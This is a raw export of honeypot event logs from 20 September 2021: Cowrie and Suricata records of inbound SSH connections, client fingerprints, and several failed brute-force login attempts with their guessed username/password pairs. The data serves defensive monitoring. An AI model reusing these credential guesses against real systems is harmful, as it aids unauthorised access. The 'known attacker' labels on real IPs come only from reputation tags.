35516	176.122.188.154	109.199.241.180	Suricata	2021-09-20 15:09:16.971074+03	2021-09-20 15:15:03.366691+03	{"_id": "mgYcA3wBvYTbRNuESVyK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 2117382267773880, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39334, "dest_port": 22, "timestamp": "2021-09-20T12:09:16.971074Z", "@timestamp": "2021-09-20T12:09:16.971Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
35517	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:09:18.290373+03	2021-09-20 15:15:03.36769+03	{"_id": "pAYcA3wBvYTbRNuETFxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2318 (192.168.176.2:22) [session: 66a7e72efe5a]", "session": "66a7e72efe5a", "@version": "1", "protocol": "ssh", "src_port": 2318, "dest_port": 22, "timestamp": "2021-09-20T12:09:18.290373Z", "@timestamp": "2021-09-20T12:09:18.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35518	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:05.172875+03	2021-09-20 15:15:03.36869+03	{"_id": "XgYcA3wBvYTbRNuEGlyh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 31904, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1187543322305355, "@version": "1", "in_iface": "enp5s0", "src_port": 36143, "dest_port": 53, "timestamp": "2021-09-20T12:09:05.172875Z", "@timestamp": "2021-09-20T12:09:05.172Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35519	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:05.563347+03	2021-09-20 15:15:03.36969+03	{"_id": "agYcA3wBvYTbRNuEG1zq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36134, "dest_port": 443, "timestamp": "2021-09-20T12:09:05.563347", "@timestamp": "2021-09-20T12:09:05.563Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35520	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:09:08.912355+03	2021-09-20 15:15:03.371689+03	{"_id": "egYcA3wBvYTbRNuEKVwe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a142cb793554", "@version": "1", "timestamp": "2021-09-20T12:09:08.912355Z", "@timestamp": "2021-09-20T12:09:08.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	NL
35575	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:09:31.141379+03	2021-09-20 15:15:03.44469+03	{"_id": "_gYcA3wBvYTbRNuEf1wb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "0cc2335b7c4d", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:09:31.141379Z", "@timestamp": "2021-09-20T12:09:31.141Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35521	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:09:09.17329+03	2021-09-20 15:15:03.372691+03	{"_id": "ewYcA3wBvYTbRNuEKVwe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.login.failed", "message": "login attempt [bs/bs123] failed", "session": "a142cb793554", "@version": "1", "password": "bs123", "username": "bs", "timestamp": "2021-09-20T12:09:09.173290Z", "@timestamp": "2021-09-20T12:09:09.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	NL
35522	23.97.240.235	109.199.241.180	Suricata	2021-09-20 15:09:08.911905+03	2021-09-20 15:15:03.37469+03	{"_id": "fQYcA3wBvYTbRNuEKlxD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "flow_id": 1780261694245943, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36898, "dest_port": 22, "timestamp": "2021-09-20T12:09:08.911905Z", "@timestamp": "2021-09-20T12:09:08.911Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	NL
35523	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:09:16.806286+03	2021-09-20 15:15:03.37569+03	{"_id": "lQYcA3wBvYTbRNuESFxj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7a92f4444294", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:09:16.806286Z", "@timestamp": "2021-09-20T12:09:16.806Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
35524	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:09:18.293047+03	2021-09-20 15:15:03.376692+03	{"_id": "pgYcA3wBvYTbRNuETFxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "66a7e72efe5a", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:09:18.293047Z", "@timestamp": "2021-09-20T12:09:18.293Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35525	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:09:18.568803+03	2021-09-20 15:15:03.378689+03	{"_id": "pwYcA3wBvYTbRNuETVxx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 261522604305955, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 2318, "dest_port": 22, "timestamp": "2021-09-20T12:09:18.568803Z", "@timestamp": "2021-09-20T12:09:18.568Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35603	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:09:42.516485+03	2021-09-20 15:15:03.481691+03	{"_id": "VAYcA3wBvYTbRNuEql0d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.login.failed", "message": "login attempt [root/qwert12345!@#$%] failed", "session": "647a847dec67", "@version": "1", "password": "qwert12345!@#$%", "username": "root", "timestamp": "2021-09-20T12:09:42.516485Z", "@timestamp": "2021-09-20T12:09:42.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35526	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:18.293592+03	2021-09-20 15:15:03.379691+03	{"_id": "qAYcA3wBvYTbRNuETlx0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2318, "timestamp": "2021-09-20T12:09:18.293592", "@timestamp": "2021-09-20T12:09:18.293Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35527	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:09:18.900821+03	2021-09-20 15:15:03.380691+03	{"_id": "qwYcA3wBvYTbRNuEUFw1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7a92f4444294", "@version": "1", "duration": 2.097423791885376, "timestamp": "2021-09-20T12:09:18.900821Z", "@timestamp": "2021-09-20T12:09:18.900Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
35528	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:09:24.004967+03	2021-09-20 15:15:03.38269+03	{"_id": "wQYcA3wBvYTbRNuEY1zA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.login.failed", "message": "login attempt [sm/sm@123] failed", "session": "f0461130d325", "@version": "1", "password": "sm@123", "username": "sm", "timestamp": "2021-09-20T12:09:24.004967Z", "@timestamp": "2021-09-20T12:09:24.004Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35529	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:24.703098+03	2021-09-20 15:15:03.38369+03	{"_id": "wgYcA3wBvYTbRNuEZVzn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "110.137.195.172", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 14188, "timestamp": "2021-09-20T12:09:24.703098", "@timestamp": "2021-09-20T12:09:24.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35530	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:09:22.519276+03	2021-09-20 15:15:03.38569+03	{"_id": "rwYcA3wBvYTbRNuEW1zu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 121.4.68.188:47428 (192.168.176.2:22) [session: f0461130d325]", "session": "f0461130d325", "@version": "1", "protocol": "ssh", "src_port": 47428, "dest_port": 22, "timestamp": "2021-09-20T12:09:22.519276Z", "@timestamp": "2021-09-20T12:09:22.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35531	121.4.68.188	109.199.241.180	Suricata	2021-09-20 15:09:22.794539+03	2021-09-20 15:15:03.386691+03	{"_id": "sQYcA3wBvYTbRNuEXVwT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "flow_id": 239089990409101, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47428, "dest_port": 22, "timestamp": "2021-09-20T12:09:22.794539Z", "@timestamp": "2021-09-20T12:09:22.794Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35532	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:09:14.537865+03	2021-09-20 15:15:03.38769+03	{"_id": "gQYcA3wBvYTbRNuEPFyp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.116.239.130:34762 (192.168.176.2:22) [session: 1a4c95d3411e]", "session": "1a4c95d3411e", "@version": "1", "protocol": "ssh", "src_port": 34762, "dest_port": 22, "timestamp": "2021-09-20T12:09:14.537865Z", "@timestamp": "2021-09-20T12:09:14.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35533	1.116.239.130	109.199.241.180	Suricata	2021-09-20 15:09:14.81022+03	2021-09-20 15:15:03.388691+03	{"_id": "gwYcA3wBvYTbRNuEPVzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "flow_id": 1733169525692800, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 34762, "dest_port": 22, "timestamp": "2021-09-20T12:09:14.810220Z", "@timestamp": "2021-09-20T12:09:14.810Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
